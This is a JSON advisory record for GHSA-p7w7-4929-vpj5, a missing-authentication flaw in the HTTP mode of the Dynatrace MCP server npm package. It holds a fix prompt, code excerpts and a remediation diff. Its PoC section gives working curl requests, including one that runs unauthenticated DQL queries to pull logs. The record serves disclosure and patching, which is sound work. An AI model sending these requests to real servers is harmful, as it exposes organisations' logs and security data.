{"answers":{"affected":"2 open source packages ship an affected version, including @dynatrace-oss/dynatrace-mcp-server.","exploited":"There is no known exploitation of GHSA-p7w7-4929-vpj5 in the wild and no public exploit code.","fix":"Upgrade @dynatrace-oss/dynatrace-mcp-server to 2.0.0 or later.","what":"GHSA-p7w7-4929-vpj5 is a missing authorization vulnerability in @dynatrace-oss/dynatrace-mcp-server, published on 31 Jul 2026. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-p7w7-4929-vpj5 and fix it if it is affected.\n\nWhat it is: GHSA-p7w7-4929-vpj5 is a missing authorization vulnerability in @dynatrace-oss/dynatrace-mcp-server, published on 31 Jul 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-p7w7-4929-vpj5 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- @dynatrace-oss/dynatrace-mcp-server (npm): affected all versions; fixed in 2.0.0\n- @dynatrace-oss/dynatrace-mcp-server (npm): affected all versions; fixed in 2.0.0\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-p7w7-4929-vpj5/ (Markdown: https://insights.sbomify.com/GHSA-p7w7-4929-vpj5/index.md)","id":"GHSA-p7w7-4929-vpj5","markdown":"https://insights.sbomify.com/GHSA-p7w7-4929-vpj5/index.md","name":"GHSA-p7w7-4929-vpj5","record":{"aliases":[],"analysis":{"component_type":"library","fix_type":"patch","impacts":["data_read","data_modify"],"network_reachable":"yes","non_default_config":true,"product_category":"Dynatrace MCP server","requires_auth":"none","summary":"Unauthenticated attackers can execute arbitrary Dynatrace queries and create notebooks via the HTTP transport mode, exposing sensitive data and allowing tenant modifications.","user_interaction":"not_required","vuln_class":"missing_authorization"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\n\n`@dynatrace-oss/dynatrace-mcp-server` v1.8.5 exposes an HTTP transport mode (`--http` flag) that performs no authentication, session validation, or origin/host verification before dispatching MCP tool calls. Any network-reachable attacker can send a raw JSON-RPC `tools/call` request without an `Authorization` header and have it executed directly under the victim server's Dynatrace credentials. Confirmed high-impact tools reachable without authentication include `execute_dql` (reads arbitrary Grail data, including logs, security events, and user sessions) and `create_dynatrace_notebook` (writes notebooks to the tenant).\n\n### Details\n\nWhen the server is started with the `--http` flag, an HTTP server is created at `src/index.ts:1621`. For every inbound request the handler creates a new `StreamableHTTPServerTransport` instance:\n\n```ts\n// src/index.ts:1638-1640\nconst httpTransport = new StreamableHTTPServerTransport({\n  sessionIdGenerator: undefined, // No Session ID needed\n});\n```\n\nNo bearer-token check, session token, `Host` allowlist, or `Origin` allowlist is configured on either the transport or in the surrounding request handler. The raw body is parsed and handed directly to the transport:\n\n```ts\n// src/index.ts:1648-1668\nbody = JSON.parse(rawBody);\n...\nawait httpTransport.handleRequest(req, res, body);\n```\n\nTwo tools are directly reachable by an unauthenticated HTTP caller without any `requestHumanApproval` gate:\n\n**`execute_dql` — Confidentiality: High**\n```ts\n// src/index.ts:746-769\n// No requestHumanApproval before createAuthenticatedHttpClient\nconst dtClient = await createAuthenticatedHttpClient(scopesBase.concat('storage:buckets:read', ...));\nreturn executeDql(dtClient, { query });\n```\nAn attacker can run arbitrary DQL queries (logs, security events, user sessions, metrics) using the victim's Dynatrace credentials.\n\n**`create_dynatrace_notebook` — Integrity: Low**\n```ts\n// src/index.ts:1593-1600\n// No requestHumanApproval before createAuthenticatedHttpClient\nconst dtClient = await createAuthenticatedHttpClient(scopesBase.concat('document:write'));\nreturn createNotebook(dtClient, { name, sections });\n```\nAn attacker can create notebooks under the victim's tenant.\n\n\u003e **Note on `send_event`:** The initial static report claimed `send_event` was also unguarded. Code inspection at `src/index.ts:1367` confirms a `requestHumanApproval` call exists inside the `send_event` handler. An HTTP attacker (no MCP elicitation loop) causes that call to throw, and the catch block returns `false`, effectively blocking the write. The `send_event` path is therefore not exploitable via the HTTP attack vector.\n\n\u003e **Note on PoC tool `reset_grail_budget`:** The PoC uses `reset_grail_budget` (`src/index.ts:1218-1239`), which performs no Dynatrace API calls — it resets in-memory budget counters only. It is used purely as a safe, self-contained proof that unauthenticated dispatch works; actual data exfiltration requires `execute_dql` with real credentials.\n\n### PoC\n\n**Environment setup (Docker):**\n\n```bash\n# Build from repository root\ndocker build \\\n  -t dynatrace-mcp-vuln001:latest \\\n  -f /path/to/vuln-001/Dockerfile \\\n  /path/to/dynatrace-mcp/repo\n\n# Run — abc12345 in hostname activates demo mode, skipping real API connectivity check\ndocker run -d \\\n  --name dynatrace-mcp-vuln001-test \\\n  -p 127.0.0.1:3999:3999 \\\n  -e DT_ENVIRONMENT=https://abc12345.apps.dynatrace.com \\\n  -e DT_PLATFORM_TOKEN=fake-token-for-poc \\\n  dynatrace-mcp-vuln001:latest \\\n  --http --port 3999 --host 0.0.0.0\n```\n\n**Unauthenticated tool invocation (no `Authorization` header):**\n\n```bash\ncurl -sS -N -X POST http://127.0.0.1:3999/ \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  -H 'Mcp-Protocol-Version: 2025-03-26' \\\n  --data '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/call\",\"params\":{\"name\":\"reset_grail_budget\",\"arguments\":{}}}'\n```\n\n**Observed response (HTTP 200, no authentication required):**\n\n```\nHTTP/1.1 200 OK\ncontent-type: text/event-stream\n\nevent: message\ndata: {\"result\":{\"content\":[{\"type\":\"text\",\"text\":\"✅ **Grail Budget Reset Successfully!**\\n\\nBudget status after reset:\\n- Total bytes scanned: 0 bytes (0 GB)\\n- Budget limit: 5000 GB\\n- Remaining budget: 5000 GB\\n- Budget exceeded: No\"}]},\"jsonrpc\":\"2.0\",\"id\":1}\n```\n\n**Python PoC script** (automated, with server-readiness polling):\n\n```bash\npython3 poc.py 127.0.0.1 3999\n# Exits 0 on confirmed unauthenticated tool execution\n# Exits 2 if server correctly returns HTTP 401 (patched)\n```\n\n**High-impact variant with real credentials — data exfiltration via `execute_dql`:**\n\n```bash\ncurl -sS -N -X POST http://\u003cserver\u003e:3000/ \\\n  -H 'Content-Type: application/json' \\\n  -H 'Accept: application/json, text/event-stream' \\\n  -H 'Mcp-Protocol-Version: 2025-03-26' \\\n  --data '{\n    \"jsonrpc\": \"2.0\",\n    \"id\": 2,\n    \"method\": \"tools/call\",\n    \"params\": {\n      \"name\": \"execute_dql\",\n      \"arguments\": {\n        \"query\": \"fetch logs | limit 10\"\n      }\n    }\n  }'\n```\n\n**Recommended remediation:**\n\n```diff\n--- a/src/index.ts\n+++ b/src/index.ts\n+import { timingSafeEqual } from 'node:crypto';\n\n+    .option('--http-auth-token \u003ctoken\u003e', 'bearer token required for HTTP server mode')\n\n+  const httpAuthToken = options.httpAuthToken || process.env.DT_MCP_HTTP_AUTH_TOKEN;\n+\n+  const isAuthorizedHttpRequest = (req: IncomingMessage): boolean =\u003e {\n+    const expected = httpAuthToken ? Buffer.from(`Bearer ${httpAuthToken}`) : undefined;\n+    const actualHeader = req.headers.authorization;\n+    if (!expected || !actualHeader) return false;\n+    const actual = Buffer.from(actualHeader);\n+    return actual.length === expected.length \u0026\u0026 timingSafeEqual(actual, expected);\n+  };\n\n   if (httpMode) {\n+    if (!httpAuthToken) {\n+      console.error('HTTP mode requires --http-auth-token or DT_MCP_HTTP_AUTH_TOKEN.');\n+      process.exit(1);\n+    }\n     const httpServer = createServer(async (req, res) =\u003e {\n+      if (!isAuthorizedHttpRequest(req)) {\n+        res.writeHead(401, { 'Content-Type': 'application/json', 'WWW-Authenticate': 'Bearer' });\n+        res.end(JSON.stringify({ jsonrpc: '2.0', id: null, error: { code: -32001, message: 'Unauthorized' } }));\n+        return;\n+      }\n\n       const httpTransport = new StreamableHTTPServerTransport({\n         sessionIdGenerator: undefined,\n+        enableDnsRebindingProtection: true,\n+        allowedHosts: [`${host}:${httpPort}`, `127.0.0.1:${httpPort}`, `localhost:${httpPort}`],\n       });\n```\n\n### Impact\n\nThis is a **Missing Authentication for Critical Function** vulnerability. The HTTP transport mode acts as an unauthenticated proxy to the victim's Dynatrace tenant: any attacker who can reach the server port can read sensitive observability data (logs, security events, user sessions, metrics) via `execute_dql` and write notebook documents via `create_dynatrace_notebook`, all under the configured Dynatrace credentials without needing to know those credentials.\n\n**Who is impacted:** Organizations running `dynatrace-mcp-server` with the `--http` flag enabled — particularly deployments using `--host 0.0.0.0` (documented and supported), container deployments, or any deployment where the port is reachable from an untrusted network. Localhost-only deployments are at reduced but non-zero risk via DNS rebinding or same-host compromise. With `--host 0.0.0.0` the attack requires no user interaction and no complex conditions, raising the effective CVSS score to 9.3.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001: Unauthenticated HTTP MCP Tool Invocation (CWE-306)\n# build stage - text sourcefrom dynatrace-mcp-server build\nFROM node:22.21.1-alpine3.22 AS build\n\nWORKDIR /app\n\n# repo copy the full repo source (hosttext clone repo pathfrom textand build)\nCOPY . .\n\nRUN npm ci\nRUN npm run build\n\n# runtime textonly install (dist/package.json criteria)\nRUN cd dist \u0026\u0026 npm install --ignore-scripts \u0026\u0026 npm cache clean --force\n\n# runtime stage\nFROM node:22.21.1-alpine3.22","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"`@dynatrace-oss/dynatrace-mcp-server` has Unauthenticated HTTP MCP Tool Invocation","id":"GHSA-p7w7-4929-vpj5","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"npm","product":null,"products":[],"type":"missing_authorization","year":"2026"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"npm","fixed":["2.0.0"],"introduced":["0"],"last_affected":[],"package":"@dynatrace-oss/dynatrace-mcp-server","purl":null,"source":"GHSA-p7w7-4929-vpj5"},{"ecosystem":"npm","fixed":["2.0.0"],"introduced":["0"],"last_affected":[],"package":"@dynatrace-oss/dynatrace-mcp-server","purl":"pkg:npm/%40dynatrace-oss/dynatrace-mcp-server","source":"GHSA-p7w7-4929-vpj5"}],"products":null,"published":"2026-07-31","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Unauthenticated attackers can execute arbitrary Dynatrace queries and create notebooks via the HTTP transport mode, exposing sensitive data and allowing tenant modifications.","url":"https://insights.sbomify.com/GHSA-p7w7-4929-vpj5/"}